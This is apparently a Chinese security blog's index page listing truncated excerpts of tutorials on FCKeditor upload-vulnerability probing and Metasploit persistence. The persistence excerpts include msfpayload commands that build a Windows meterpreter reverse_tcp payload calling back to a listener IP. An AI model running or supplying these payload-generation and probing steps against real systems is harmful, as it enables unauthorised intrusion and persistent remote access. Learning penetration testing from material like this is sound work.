简单介绍之Fckeditor上传解析漏洞
Eternal 9年前 (2016-08-24) 8671浏览 1评论
直接通过已知文件路径，爆出fck编辑器的版本信息： FCKeditor/_whatsnew.html 通过常用上传地址，来测试可上传点是否存在： FCKeditor/editor/filemanager/browser/default/connec...
标签：shell
MSF之persistence权限维持
Eternal 9年前 (2016-08-21) 6764浏览 0评论
首先，我们先生成一个 PAYLOAD ： msfpayload(msfvenom) windows/meterpreter/reverse_tcp LHOST=192.168.2.133 LPORT=1218 X >xx.exe 接着，我们来...
MSF之meterpreter权限维持
Eternal 9年前 (2016-08-20) 10096浏览 1评论
00×01 首先，我们先来生成一个 meterpreter 类型的 PALOAD ： msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.2.133 LPORT=1211 X &...
